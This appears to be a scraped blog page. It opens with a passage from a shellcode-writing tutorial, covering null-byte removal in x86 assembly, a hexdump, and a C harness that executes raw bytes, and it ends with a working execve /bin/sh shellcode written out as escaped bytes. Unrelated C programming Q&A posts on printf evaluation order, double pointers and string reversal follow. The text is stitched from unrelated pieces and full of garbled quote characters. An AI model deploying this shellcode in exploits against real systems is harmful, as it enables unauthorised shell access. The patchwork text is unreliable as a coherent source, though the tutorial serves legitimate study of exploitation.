I added รข€ล“BITS 32รข€ this time. This indicates it's a 32 bits file. We need this later.
There is, however, one more problem we need to fix. The data (including the bytecode) is almost always copied with string functions, such as รข€ล“strcpyรข€.
This will copy the data until it reaches a 00-byte. This indicates the end of the string. First, let's compile our bytecode:
<command>
$ nasm shell2.asm
</command>

This creates a program which is not executable. It only contains the binary code. Great for us; that's exactly what we want. Now let's have a look at the data inside shell2:
<command>
$ hexdump -C shell2
00000000 68 2e 2e 2e 00 68 6f 72 6c 64 68 6f 2c 20 77 68 |h....horldho, wh|
00000010 48 65 6c 6c b8 04 00 00 00 bb 01 00 00 00 89 e1 |Hell............|
00000020 ba 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 |................|
00000030 00 cd 80 |...|
00000033
</command>

All those 00-bytes will be seen as the end of the string. This isn't allowed, we must remove all those 00-bytes. First let's look at the source of this problem.

One of the most obvious sources is:
mov ebx, 0
This moves 0 into ebx. When this is assembled, this will become a 00-byte. However, since we are moving a dword of data, รข€ล“mov ebx, 0รข€ will actually become รข€ล“mov ebx, 0x00000000รข€. Four 00-bytes will be compiled in. We need another way to zero this ebx register.

Xor is a logical operator. It takes two รข€ล“operandsรข€, and they will be XOR'ed. The results of XOR are:
0 xor 0 = 0
1 xor 0 = 1
0 xor 1 = 1
1 xor 1 = 0
Now if you xor something with itself, the result is always 0. There, we can xor the ebx register with itself to set it to zero:
xor ebx, ebx
Those are four 00-bytes less. But there are more.

push 0x2E2E2E
It pushes a dword, so it's modified into รข€ล“0x002E2E2Eรข€. Another 00-byte. The useful thing is, this is the 16th byte of the string. We only print 15 bytes, and the rest will be ignored. So we can change it into anything we want. We could change it into:
push 0x2E2E2E2E
And another 00-byte is gone.

mov eax, 4
This one is a bit harder. This will be compiled into รข€ล“00000004รข€. We need to remove those 00-bytes. But note that if eax equals 0, รข€ล“mov al, 4รข€ does exactly the same thing as รข€ล“mov eax, 4รข€. But you only copy one byte by using รข€ล“mov al, 4รข€, so this won't be changed into รข€ล“00000004รข€, but just remain รข€ล“04รข€.
So if you just zero out eax first, without any 00-bytes:
xor eax, eax
And then change the low byte into four:
mov al, 4
We got the same result, without 00-bytes.

mov ebx, 1
We can do this one the same way as the last one. However, there's a quicker way. If we just zero out ebx first:
xor ebx, ebx
And then use another command, รข€ล“incรข€, to increase ebx with one, we also get the same result:
inc ebx
And this will be compiled slightly smaller than using mov to the low-byte.

You can do the same with the rest. The result will be shell3.asm:
<shell3.asm>
BITS 32
SECTION .text
global _start
_start:
; Push the string รข€ล“Hello, world...รข€ on the stack
push 0x2E2E2E2E; Push รข€ล“....รข€ (first '.' is ignored)
push 0x646C726F; Push รข€ล“dlroรข€
push 0x77202C6F; Push รข€ล“w ,oรข€
push 0x6C6C6548; Push รข€ล“lleHรข€

; System call 4: write();
xor eax, eax; Set eax to 0
mov al, 4; Move 4 to the low byte of eax

; Argument 1: file descriptor 1 (STDOUT)
xor ebx, ebx; Set ebx to 0
inc ebx; Increase ebx to 1

mov ecx, esp; Argument 2: The message to write

; Argument 3: The size of the message
xor edx, edx; Set edx to 0
mov dl, 15; Move 15 in the low byte of edx

int 80h; Execute the systemcall

; System call 1: exit();
xor eax, eax; Set eax to 0
inc eax; Increase eax to 1

; Argument 1: The errorcode (0).
xor ebx, ebx; Set ebx to 0

int 80h; Execute the systemcall
<EOF>

Let's test it first, and then look at whether there are any 00-bytes remaining:
<commands>
$ nasm -f elf shell3.asm
$ ld shell3.o
$ ./a.out
Hello, world...$ nasm shell3.asm
$ hexdump -C shell3
00000000 68 2e 2e 2e 2e 68 6f 72 6c 64 68 6f 2c 20 77 68 |h....horldho, wh|
00000010 48 65 6c 6c 31 c0 b0 04 31 db 43 89 e1 31 d2 b2 |Hell1...1.C..1..|
00000020 0f cd 80 31 c0 40 31 db cd 80 |...1.@1...|
0000002a
</commands>

As you can see, all the 00-bytes are gone! We had to recompile it again, because รข€ล“ldรข€ puts crap in it we don't want as bytecode. We have to recompile it just by typing รข€ล“nasm shell3.asmรข€. This will create a file รข€ล“shell3รข€. It's not executable, but it only contains the data we need.

Let's test the bytecode. As seen above, the hexadecimal data of our bytecode is:
68 2e 2e 2e 2e 68 6f 72 6c 64 68 6f 2c 20 77 68 48 65 6c 6c 31 c0 b0 04 31 db 43 89 e1 31 d2 b2 0f cd 80 31 c0 40 31 db cd 80

We will make a C-file to test it. You will need to put \x before every of the numbers, to indicate it's hexadecimal to the C compiler, and remove the spaces:
\x68\x2e\x2e\x2e\x2e\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x77\x68\x48\x65\x6c\x6c\x31\xc0\xb0\x04\x31\xdb\x43\x89\xe1\x31\xd2\xb2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80

Here's the file to run this with:
<testshell.c>
char* bytecode =
"\x68\x2e\x2e\x2e\x2e\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20"
"\x77\x68\x48\x65\x6c\x6c\x31\xc0\xb0\x04\x31\xdb\x43\x89"
"\xe1\x31\xd2\xb2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80";

int main()
{
void (*f)() = (void*)bytecode;

f();
}
<EOF>

This will create a function, f, whose address is the bytecode. When calling รข€ล“f();รข€, it will be executed. Here's how to actually run this:
<commands>
$ make testshell
$ ./testshell
Hello, world...
</commands>



Congratulations! You have made a bytecode.
However, why would you want to execute a write on the screen? That's pretty useless.






Now let's write an actual shellcode. All it has to do is execute รข€ล“/bin/shรข€. Have a look at the interrupt 80h list again, and find the interrupt we can use for this:
#define __NR_execve 11

Look at the manual (รข€ล“man 2 execveรข€).
int execve(const char *filename, char *const argv[], char *const envp]);


Think about what we have to do (don't forget to read the manual properly).
What we have to do:
- Set eax to 11, to specify the execve call.
- Put a pointer to the file to run in ebx. Make sure it ends with a 00-byte to specify the end of the filename.
- Create a pointer to the pointer of the filename, and make sure there are four 00-bytes after it to specify the end of the argv array. Put this in ecx.
- Put a pointer to four 00-bytes to specify the end of the envp structure.

The best way is to put this all in the stack:
<shell4.asm>
BITS 32
SECTION .text
global _start
_start:
; First push a 0-dword to the stack, to specify the end of the
; string /bin//sh
xor eax, eax; Set eax to 0
push eax; Push this

; Push /bin//sh to the stack
; We use two slashes because we MUST push 4 bytes a time. And
; this will work fine...
push 0x68732F2F; Push "hs//"
push 0x6E69622F; Push "nib/"

; Copy the pointer of this to ebx: the program to run
mov ebx, esp; Set argument 1

; Push a 00-dword (4 00-bytes) to indicate the end of the array
; eax is still 0 (done before)
push eax; Push the 0-dword

; The pointer to this dword is the last argument, since we don't
; want any environment pointer.
mov edx, esp; Set argument 3

; Push the pointer to the /bin//sh string
push ebx; Push the pointer

; The pointer to this is the argument array, argument 2
mov ecx, esp; Set argument 2

; Now we have to specify we want call 11, execve
; eax is 0 already
mov al, 11; Set eax to 11

int 80h; Run the interrupt to execute it


; Exit the program
xor ebx, ebx; Use parameter 0
mov al, 1; Set eax to 1 (exit call)
int 80h; Execute it
<EOF>

You should understand this by now.

Now try to run it again:
<commands>
$ nasm -f elf shell4.asm
$ ld shell4.o
$ ./a.out
sh-2.05b$
</commands>

We have a shell! This isn't root, because the code isn't ran as root. Let's first check it for 00-bytes:
<commands>
$ nasm shell4.asm
$ hexdump -C shell4
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 |1.Ph//shh/bin..P|
00000010 89 e2 53 89 e1 b0 0b cd 80 31 db b0 01 cd 80 |..S......1.....|
0000001f
</commands>


No 00-bytes. Now let's test it as C-file:
<shelltest.c>
char* shellcode =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x31"
"\xdb\xb0\x01\xcd\x80";

int main()
{
void (*f)() = (void*)shellcode;

f();
}
<EOF>

<commands>
$ make shelltest
$ ./shelltest
sh-2.05b$
</commands>


One problem here, though. Most programs temporarily drop their rights, so that they can recover them later. Our shellcode must first get those rights back. It won't harm to do it when the rights aren't dropped, but it won't work if you don't do it when the rights are dropped. So you should always do it.

The rights must be recovered using the function setreuid();. Try to make this yourself, you should be able to do this. I've gotten you far enough, and I don't want script-kiddies to steal everything here.

And the rest should be pretty easy, as long as you know C.


Main() { int i=5; printf("%d%d%d%d%d%d",i++,i--,… }what will be the answer and give the reason plz?

very ambigous code, and i am not sure it runs the same way for all compilers...

first, you have six %d but you put just 4 extra args, this means that last two %d will give you random rubbish.

the output of my gcc says:
4 5 5 5 (rubbish)

if we think the args are evaluated from left to right, we have:
first arg: i++, i is 5, so first %d should be 5 (it is not!), then i becomes 6; next one should give 6 in output (since there's a post decrement) and then i becomes 5 again...

but as i've said, the first is not 4...

then, thinking about stack order, the last is the first evaluated? then the last %d should give 4... and this is false too...

so... let me take a look at the code,

[....
part that is not interesting... prepare the stack, local vars and so on...]

mov DWORD PTR [%ebp-8], 5

this one initialize what for us is the "int i" to 5

sub DWORD PTR [%ebp-8], 1

what's up... it executes a "--i" first...


add DWORD PTR [%ebp-8], 1

then it execute a "++i" !! nothing happened! still i==5!

mov %edx, DWORD PTR [%ebp-8]

now save the i value into edx reg, at this time i is 5 (so edx==5)

sub DWORD PTR [%ebp-8], 1

execute a "i--", now i==4

mov %ecx, DWORD PTR [%ebp-8]

save i into ecx regs (i.e. ecx==4)

add DWORD PTR [%ebp-8], 1

execute a "i++", now i==5 again

mov DWORD PTR [%esp+24], 0
mov DWORD PTR [%esp+20], 0

this is a fix i added (my printf was with two extra arg); it put these last two args on the prepared stack

mov %eax, DWORD PTR [%ebp-8]

get i into eax... (remember now is 5)

mov DWORD PTR [%esp+16], %eax

put it on the stack (this is the fourth argument, look at +16)

mov %eax, DWORD PTR [%ebp-8]
mov DWORD PTR [%esp+12], %eax

again the same value (and redundant code) into third position on the stack for arguments.

mov DWORD PTR [%esp+8], %edx

now it gets the saved value: edx==5 as second argument

mov DWORD PTR [%esp+4], %ecx

and ecx was 4 as first argument...

mov DWORD PTR [%esp], OFFSET FLAT:.LC0

put the template as first argumenti

call printf

print it....

[... final stuffs ...]

now let us interpret what's going on: simply this teach us (and we should have known before!?) that arguments are taken from right to left and pre-increment/decrement are executed before any evaluation of the "printf(...)"; so first --i is executed... the ++i is executed... this makes the "i" keep the value of 5.

the pre-inc/dec are executed before "real" evaluation of the statement (so to say), ... so at then end of the game instead of third and fourth argument we have simply the value of "i", that is still 5 after the evaluation of i++ and i--.

in fact the next step is the evaluation of i-- (second arg); since this is a post-dec, first the value of i (5) is taken. after this i is 4.
then the first extra arg is evaluated; this is a post-inc, so first the value of i (4) is taken... ater this i is again 5. and this is the value we shall have for the third and fourth.

maybe i have made it harder than it is... hope you get something interesting from this.

Wednesday, November 17, 2010

double pointers as function arguments.. memory leak

Hi everyone.. Suppose i have a function :

void foo(int ind,float **ptr1,float **ptr2) that allocates memory using malloc .. - double pointers are much morein reality-
I want to use this pointers in other functions too, but when i call them(functions) in main() .. memory leak message appears ..
Is there a way to stop this without the usage of global variables


void foo( char * ptr)

{

ptr = malloc(255); // allocate some memory

strcpy( ptr, "Hello World");

}


int main()

{

char *ptr = 0;

foo( ptr );

printf("%s\n", ptr);

free(ptr);

return 0;

}

The answer

void foo( char * ptr)

"The problem is that ptr is a local object which has scope only within the function foo(). So the memory allocated with malloc() will be tossed into the bit bucket as soon as foo() returns to main(), and that will cause a memory leak. Inside function main() the value of ptr will still be 0 after foo() returns and the next line, printf(), will probably crash because the second argument (ptr) is a NULL pointer. "

So in the above example suppose that we have more than one double pointers in the function.. and we can t use return or gloabal variables


RE:


You need to use double pointer there so that foo() can allocate memory for the pointer in main(). You can do the same with as many other pointers as you like, it is not limited to just one pointer. This solves the problem is returning more than one string at the same time.


void foo( char ** ptr)
{
*ptr = malloc(255); // allocate some memory

strcpy( *ptr, "Hello World");

}

int main()

{
char *ptr = 0;
foo( &ptr ); // <<< pointer to a pointer

}


void main()
{
float *u_trn; // float **u_trn
mem_alloc_main(0,&u_trn); //(0,u_trn)
.
.
void normal_val(&u_trn); //(u_trn)
.
.
mem_alloc_main(1.&u_trn);
}

void mem_alloc_main(int ind,float **u_trn)
{
.
.
u_trn=(float **)calloc((kf_trn+max_del+1),sizeof(float*)); assert(u_trn!=NULL);
for (i=0;i<=(kf_trn+max_del);i++)
{
u_trn[i]=(float *)calloc((con_inp+2),sizeof(float)); assert(u_trn[i]!=NULL);
}

}

void normal_val(float **u_trn)
{
for (k=1;k<=(kf_trn+max_del);k++)
{
for (j=1;j<=con_inp;j++)
{
fscanf( fin1,"%f",&inp );
inp=((upper-lower)*inp+maxi_in_trn[j]*lower-mini_in_trn[j]*upper)/(maxi_in_trn[j]-mini_in_trn[j]);
--> u_trn[k][j]=inp;
}
}

RE:

If you want mem_alloc_main() to allocate a two-dimensional array of floats, then you have to declare the parameter with three stars, not two. The rule is that mem_alloc_main() needs to have a pointer to a two-dimensional pointer. What you have done is to pass a pointer to a one-dimensional pointer, but allocating it as if it were a two dimensional pointer.

Also: C programs do not require the void* return values to be typecast.

void mem_alloc_main( float ***ptr)

{

*ptr = calloc((kf_trn+max_del+1),sizeof(float*));

}

int main()
{
float **arry = 0;
mem_alloc_main( &arry );


}


another way
void mem_alloc_main(int ind,float ***u_trn)
{
float** ay;
ay = (float **)malloc(10 * sizeof(float*));
for(int i = 0; i < 10; i++)
{
ay[i] = (float*)malloc(10*sizeof(float));
for(int j = 0; j < 10; j++)
ay[i][j] = (float)rand();
}
*u_trn = ay;
}

int main()
{
srand((unsigned int)time(0));
float** arry = 0;
mem_alloc_main(0, &arry);
for(int i = 0; i < 10; i++)
{
for(int j = 0; j < 10; j++)
{
printf("%0.2f ", arry[i][j]);

}

printf("\n");
}

}

Wednesday, July 28, 2010

Checking weather given value is under integer range or not

#include<stdio.h>

 

int main(int argc, char *argv[]) {

 

 int i=0;

 int id = 0;

 char temp_name[31];

 char *ch=argv[1];

 char *temp_ch=argv[1];

 

   printf("input is ch:%s..argv[1]:%s\n",ch,argv[1]);

   while (*temp_ch != NULL) {

     id = (id * 10) + (*temp_ch- '0');

     printf(" temp_ch: %c and id:%d \n",*temp_ch,id);

     temp_ch++;

   }

   sprintf(temp_name,"%d",id);

   printf("temp_name : %s\n",temp_name);

   if( (id < 0) || (strcmp(temp_name,ch) != 0)){

      printf("Value enterd is out of integer range \n");

      return 0;

   }

 

   //i = atoi(argv[1]);

 

   //printf("i=%d and passed arg is:%s \n",i,argv[1]);

 

 return 0;

 

}

Monday, June 14, 2010

reverse of string without using extra memory or swaping

http://www.allinterview.com/showanswers/16431.html

 

 

/* Following code does as intended */

#include <stdio.h>

 

#define REVERSE_STRING(X) Rstring(X, *(X), strlen(X)-1)

 

void Rstring( char *str, char c, int index )

{

        if( index != 0 )

               Rstring( str, *(str+(strlen(str))-index),

index-1);     

        *(str+index) = c;             

}

 

int main( void )

{

        char str[] = "Dharmendra Patel";

        printf("Actual string is [%s]\n", str);

        REVERSE_STRING(str);

        printf("Reversed string is [%s]\n", str);

        return 0;

}